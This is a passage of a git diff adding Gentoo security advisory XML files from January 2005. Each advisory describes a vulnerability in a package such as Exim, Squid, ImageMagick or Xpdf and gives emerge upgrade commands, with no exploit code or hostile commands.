+  <impact type="normal">
+    <p>
+    An attacker could exploit this to execute arbitrary FTP commands on the
+    server and due to similiarities between the FTP and the SMTP protocol,
+    this vulnerability also allows an attacker to connect to a SMTP server
+    and issue arbitrary commands, for example sending an email.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdelibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdelibs</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kde.org/info/security/advisory-20050101-1.txt">KDE Security Advisory: ftp kioslave command injection</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1165">CAN-2004-1165</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed,  5 Jan 2005 16:56:23 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Jan 2005 12:39:06 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-19.xml b/xml/htdocs/security/en/glsa/glsa-200501-19.xml
new file mode 100644
index 00000000..bc60f456
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-19.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-19">
+  <title>imlib2: Buffer overflows in image decoding</title>
+  <synopsis>
+    Multiple overflows have been found in the imlib2 library image decoding
+    routines, potentially allowing the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">imlib2</product>
+  <announced>January 11, 2005</announced>
+  <revised>January 11, 2005: 01</revised>
+  <bug>77002</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/imlib2" auto="yes" arch="*">
+      <unaffected range="ge">1.2.0</unaffected>
+      <vulnerable range="lt">1.2.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    imlib2 is an advanced replacement for image manipulation libraries
+    such as libXpm. It is utilized by numerous programs, including gkrellm
+    and several window managers, to display images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Pavel Kankovsky discovered that several buffer overflows found in
+    the libXpm library (see GLSA 200409-34) also apply to imlib (see GLSA
+    200412-03) and imlib2. He also fixed a number of other potential
+    security vulnerabilities.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a carefully-crafted
+    image file, which would potentially lead to the execution of arbitrary
+    code with the rights of the user viewing the image. This affects any
+    program that utilizes of the imlib2 library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All imlib2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/imlib2-1.2.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026">CAN-2004-1026</uri>
+    <uri link="http://security.gentoo.org/glsa/glsa-200412-03.xml">GLSA 200412-03</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat,  8 Jan 2005 09:59:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun,  9 Jan 2005 05:41:55 +0000">
+    dmargoli
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 10 Jan 2005 22:14:19 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-20.xml b/xml/htdocs/security/en/glsa/glsa-200501-20.xml
new file mode 100644
index 00000000..2d34b953
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-20.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-20">
+  <title>o3read: Buffer overflow during file conversion</title>
+  <synopsis>
+    A buffer overflow in o3read allows an attacker to execute arbitrary code by
+    way of a specially crafted XML file.
+  </synopsis>
+  <product type="ebuild">o3read</product>
+  <announced>January 11, 2005</announced>
+  <revised>January 11, 2005: 01</revised>
+  <bug>74478</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/o3read" auto="yes" arch="*">
+      <unaffected range="ge">0.0.4</unaffected>
+      <vulnerable range="le">0.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    o3read is a standalone converter for OpenOffice.org files. It
+    allows a user to dump the contents tree (o3read) and convert to plain
+    text (o3totxt) or to HTML (o3tohtml) Writer and Calc files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Wiktor Kopec discovered that the parse_html function in o3read.c
+    copies any number of bytes into a 1024-byte t[] array.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Using a specially crafted file, possibly delivered by e-mail or
+    over the Web, an attacker may execute arbitrary code with the
+    permissions of the user running o3read.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All o3read users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/o3read-0.0.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1288">CAN-2004-1288</uri>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/o3read.txt">Wiktor Kopec advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 10 Jan 2005 22:12:42 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 10 Jan 2005 22:13:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 11 Jan 2005 11:55:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-21.xml b/xml/htdocs/security/en/glsa/glsa-200501-21.xml
new file mode 100644
index 00000000..08be642a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-21.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-21">
+  <title>HylaFAX: hfaxd unauthorized login vulnerability</title>
+  <synopsis>
+    HylaFAX is subject to a vulnerability in its username matching code,
+    potentially allowing remote users to bypass access control lists.
+  </synopsis>
+  <product type="ebuild">HylaFAX</product>
+  <announced>January 11, 2005</announced>
+  <revised>January 11, 2005: 01</revised>
+  <bug>75941</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/hylafax" auto="yes" arch="*">
+      <unaffected range="ge">4.2.0-r2</unaffected>
+      <vulnerable range="lt">4.2.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    HylaFAX is a software package for sending and receiving facsimile
+    messages.
+    </p>
+  </background>
+  <description>
+    <p>
+    The code used by hfaxd to match a given username and hostname with
+    an entry in the hosts.hfaxd file is insufficiently protected against
+    malicious entries.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If the HylaFAX installation uses a weak hosts.hfaxd file, a remote
+    attacker could authenticate using a malicious username or hostname and
+    bypass the intended access restrictions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    As a workaround, administrators may consider adding passwords to
+    all entries in the hosts.hfaxd file.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All HylaFAX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/hylafax-4.2.0-r2&quot;</code>
+    <p>
+    Note: Due to heightened security, weak entries in the
+    hosts.hfaxd file may no longer work. Please see the HylaFAX
+    documentation for details of accepted syntax in the hosts.hfaxd file.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1182">CAN-2004-1182</uri>
+    <uri link="http://marc.theaimsgroup.com/?l=hylafax&amp;m=110545119911558&amp;w=2">HylaFAX Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 10 Jan 2005 09:56:02 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 10 Jan 2005 13:48:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Jan 2005 16:16:35 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-22.xml b/xml/htdocs/security/en/glsa/glsa-200501-22.xml
new file mode 100644
index 00000000..2bbe656d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-22.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-22">
+  <title>poppassd_pam: Unauthorized password changing</title>
+  <synopsis>
+    poppassd_pam allows anyone to change any user's password without
+    authenticating the user first.
+  </synopsis>
+  <product type="ebuild">poppassd_pam</product>
+  <announced>January 11, 2005</announced>
+  <revised>January 11, 2005: 01</revised>
+  <bug>75820</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/poppassd_ceti" auto="yes" arch="*">
+      <unaffected range="ge">1.8.4</unaffected>
+      <vulnerable range="le">1.0</vulnerable>
+    </package>
+    <package name="net-mail/poppassd_pam" auto="yes" arch="*">
+      <vulnerable range="le">1.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    poppassd_pam is a PAM-enabled server for changing system passwords
+    that can be used to change POP server passwords.
+    </p>
+  </background>
+  <description>
+    <p>
+    Gentoo Linux developer Marcus Hanwell discovered that poppassd_pam
+    did not check that the old password was valid before changing
+    passwords. Our investigation revealed that poppassd_pam did not call
+    pam_authenticate before calling pam_chauthtok.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could change the system password of any user,
+    including root. This leads to a complete compromise of the POP
+    accounts, and may also lead to a complete root compromise of the
+    affected server, if it also provides shell access authenticated using
+    system passwords.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All poppassd_pam users should migrate to the new package called
+    poppassd_ceti:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/poppassd_ceti-1.8.4&quot;</code>
+    <p>
+    Note: Portage will automatically replace the poppassd_pam
+    package by the poppassd_ceti package.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0002">CAN-2005-0002</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 11 Jan 2005 08:56:45 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 11 Jan 2005 12:12:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Jan 2005 19:52:14 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-23.xml b/xml/htdocs/security/en/glsa/glsa-200501-23.xml
new file mode 100644
index 00000000..67853b70
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-23.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-23">
+  <title>Exim: Two buffer overflows</title>
+  <synopsis>
+    Buffer overflow vulnerabilities, which could lead to arbitrary code
+    execution, have been found in the handling of IPv6 addresses as well as in
+    the SPA authentication mechanism in Exim.
+  </synopsis>
+  <product type="ebuild">exim</product>
+  <announced>January 12, 2005</announced>
+  <revised>January 12, 2005: 01</revised>
+  <bug>76893</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-mta/exim" auto="yes" arch="*">
+      <unaffected range="ge">4.43-r2</unaffected>
+      <vulnerable range="lt">4.43-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Exim is an highly configurable message transfer agent (MTA)
+    developed at the University of Cambridge.
+    </p>
+  </background>
+  <description>
+    <p>
+    Buffer overflows have been found in the host_aton() function
+    (CAN-2005-0021) as well as in the spa_base64_to_bits() function
+    (CAN-2005-0022), which is part of the SPA authentication code.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could trigger the buffer overflow in host_aton()
+    by supplying an illegal IPv6 address with more than 8 components, using
+    a command line option. The second vulnerability could be remotely
+    exploited during SPA authentication, if it is enabled on the server.
+    Both buffer overflows can potentially lead to the execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Exim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/exim-4.43-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html">Exim Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0021">CAN-2005-0021</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0022">CAN-2005-0022</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 10 Jan 2005 09:24:16 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 10 Jan 2005 10:01:20 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 12 Jan 2005 21:52:22 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-24.xml b/xml/htdocs/security/en/glsa/glsa-200501-24.xml
new file mode 100644
index 00000000..1011c441
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-24.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-24">
+  <title>tnftp: Arbitrary file overwriting</title>
+  <synopsis>
+    tnftp fails to validate filenames when downloading files, making it
+    vulnerable to arbitrary file overwriting.
+  </synopsis>
+  <product type="ebuild">tnftp</product>
+  <announced>January 14, 2005</announced>
+  <revised>January 14, 2005: 01</revised>
+  <bug>74704</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/tnftp" auto="yes" arch="*">
+      <unaffected range="ge">20050103</unaffected>
+      <vulnerable range="lt">20050103</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    tnftp is a NetBSD FTP client with several advanced features.
+    </p>
+  </background>
+  <description>
+    <p>
+    The 'mget' function in cmds.c lacks validation of the filenames
+    that are supplied by the server.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker running an FTP server could supply clients with
+    malicious filenames, potentially allowing the overwriting of arbitrary
+    files with the permission of the connected user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All tnftp users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/tnftp-20050103&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1294">CAN-2004-1294</uri>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/tnftp.txt">Original Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 10 Jan 2005 09:24:54 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Jan 2005 21:44:41 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 12 Jan 2005 23:35:57 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-25.xml b/xml/htdocs/security/en/glsa/glsa-200501-25.xml
new file mode 100644
index 00000000..6e5ea636
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-25.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-25">
+  <title>Squid: Multiple vulnerabilities</title>
+  <synopsis>
+    Squid contains vulnerabilities in the the code handling NTLM (NT Lan
+    Manager), Gopher to HTML, ACLs and WCCP (Web Cache Communication Protocol)
+    which could lead to ACL bypass, denial of service and arbitrary code
+    execution.
+  </synopsis>
+  <product type="ebuild">squid</product>
+  <announced>January 16, 2005</announced>
+  <revised>February 07, 2005: 03</revised>
+  <bug>77934</bug>
+  <bug>77521</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.5.7-r2</unaffected>
+      <vulnerable range="lt">2.5.7-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a full-featured Web proxy cache designed to run on Unix
+    systems. It supports proxying and caching of HTTP, FTP, and other URLs,
+    as well as SSL support, cache hierarchies, transparent caching, access
+    control lists and many other features.
+    </p>
+  </background>
+  <description>
+    <p>
+    Squid contains a vulnerability in the gopherToHTML function
+    (CAN-2005-0094) and incorrectly checks the 'number of caches' field
+    when parsing WCCP_I_SEE_YOU messages (CAN-2005-0095). Furthermore the
+    NTLM code contains two errors. One is a memory leak in the
+    fakeauth_auth helper (CAN-2005-0096) and the other is a NULL pointer
+    dereferencing error (CAN-2005-0097). Finally Squid also contains an
+    error in the ACL parsing code (CAN-2005-0194).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    With the WCCP issue an attacker could cause denial of service by
+    sending a specially crafted UDP packet. With the Gopher issue an
+    attacker might be able to execute arbitrary code by enticing a user to
+    connect to a malicious Gopher server. The NTLM issues could lead to
+    denial of service by memory consumption or by crashing Squid. The ACL
+    issue could lead to ACL bypass.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/squid-2.5.7-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/13825/">Secunia Advisory SA13825</uri>
+    <uri link="http://secunia.com/advisories/13789/">Secunia Advisory SA13789</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0094">CAN-2005-0094</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0095">CAN-2005-0095</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0096">CAN-2005-0096</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0097">CAN-2005-0097</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0194">CAN-2005-0194</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 14 Jan 2005 17:51:35 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 14 Jan 2005 17:55:02 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-26.xml b/xml/htdocs/security/en/glsa/glsa-200501-26.xml
new file mode 100644
index 00000000..d98f3205
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-26.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-26">
+  <title>ImageMagick: PSD decoding heap overflow</title>
+  <synopsis>
+    ImageMagick is vulnerable to a heap overflow when decoding Photoshop
+    Document (PSD) files, which could lead to arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">imagemagick</product>
+  <announced>January 20, 2005</announced>
+  <revised>January 20, 2005: 01</revised>
+  <bug>77932</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.1.8.8</unaffected>
+      <vulnerable range="lt">6.1.8.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is a collection of tools to read, write and manipulate
+    images in many formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Andrei Nigmatulin discovered that a Photoshop Document (PSD) file
+    with more than 24 layers could trigger a heap overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could potentially design a mailicous PSD image file to
+    cause arbitrary code execution with the permissions of the user running
+    ImageMagick.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.1.8.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0005">CAN-2005-0005</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=184&amp;type=vulnerabilities">iDEFENSE Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 18 Jan 2005 13:50:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Jan 2005 09:15:57 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-27.xml b/xml/htdocs/security/en/glsa/glsa-200501-27.xml
new file mode 100644
index 00000000..8d37577b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-27.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-27">
+  <title>Ethereal: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities exist in Ethereal, which may allow an attacker to
+    run arbitrary code, crash the program or perform DoS by CPU and disk
+    utilization.
+  </synopsis>
+  <product type="ebuild">ethereal</product>
+  <announced>January 20, 2005</announced>
+  <revised>January 20, 2005: 01</revised>
+  <bug>78559</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.9</unaffected>
+      <vulnerable range="lt">0.10.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are multiple vulnerabilities in versions of Ethereal earlier
+    than 0.10.9, including:
+    </p>
+    <ul>
+    <li>The COPS dissector could go into
+    an infinite loop (CAN-2005-0006).</li>
+    <li>The DLSw dissector could
+    cause an assertion, making Ethereal exit prematurely
+    (CAN-2005-0007).</li>
+    <li>The DNP dissector could cause memory
+    corruption (CAN-2005-0008).</li>
+    <li>The Gnutella dissector could cause
+    an assertion, making Ethereal exit prematurely (CAN-2005-0009).</li>
+    <li>The MMSE dissector could free statically-allocated memory
+    (CAN-2005-0010).</li>
+    <li>The X11 dissector is vulnerable to a string
+    buffer overflow (CAN-2005-0084).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker might be able to use these vulnerabilities to crash
+    Ethereal, perform DoS by CPU and disk space utilization or even execute
+    arbitrary code with the permissions of the user running Ethereal, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    For a temporary workaround you can disable all affected protocol
+    dissectors by selecting Analyze->Enabled Protocols... and deselecting
+    them from the list. However, it is strongly recommended to upgrade to
+    the latest stable version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ethereal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/ethereal-0.10.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0006">CAN-2005-0006</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0007">CAN-2005-0007</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0008">CAN-2005-0008</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0009">CAN-2005-0009</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0010">CAN-2005-0010</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0084">CAN-2005-0084</uri>
+    <uri link="http://www.ethereal.com/news/item_20050120_01.html">Ethereal Release Notes</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 18 Jan 2005 21:23:59 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Jan 2005 22:30:28 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-28.xml b/xml/htdocs/security/en/glsa/glsa-200501-28.xml
new file mode 100644
index 00000000..fbed6d35
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-28.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-28">
+  <title>Xpdf, GPdf: Stack overflow in Decrypt::makeFileKey2</title>
+  <synopsis>
+    A stack overflow was discovered in Xpdf, potentially resulting in the
+    execution of arbitrary code. GPdf includes Xpdf code and therefore is
+    vulnerable to the same issue.
+  </synopsis>
+  <product type="ebuild">Xpdf</product>
+  <announced>January 21, 2005</announced>
+  <revised>January 21, 2005: 01</revised>
+  <bug>77888</bug>
+  <bug>78128</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/xpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.00-r8</unaffected>
+      <vulnerable range="le">3.00-r7</vulnerable>
+    </package>
+    <package name="app-text/gpdf" auto="yes" arch="*">
+      <unaffected range="ge">2.8.2</unaffected>
+      <vulnerable range="lt">2.8.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xpdf is an open source viewer for Portable Document Format (PDF)
+    files. GPdf is a Gnome-based PDF viewer that includes some Xpdf code.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDEFENSE reports that the Decrypt::makeFileKey2 function in Xpdf's
+    Decrypt.cc insufficiently checks boundaries when processing /Encrypt
+    /Length tags in PDF files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice an user to open a specially-crafted PDF
+    file which would trigger a stack overflow, potentially resulting in
+    execution of arbitrary code with the rights of the user running Xpdf or
+    GPdf.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/xpdf-3.00-r8&quot;</code>
+    <p>
+    All GPdf users should also upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/gpdf-2.8.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064">CAN-2005-0064</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=186&amp;type=vulnerabilities&amp;flashstatus=true">iDEFENSE Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 18 Jan 2005 13:34:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 21 Jan 2005 20:37:01 +0000">
+    koon
+  </metadata>
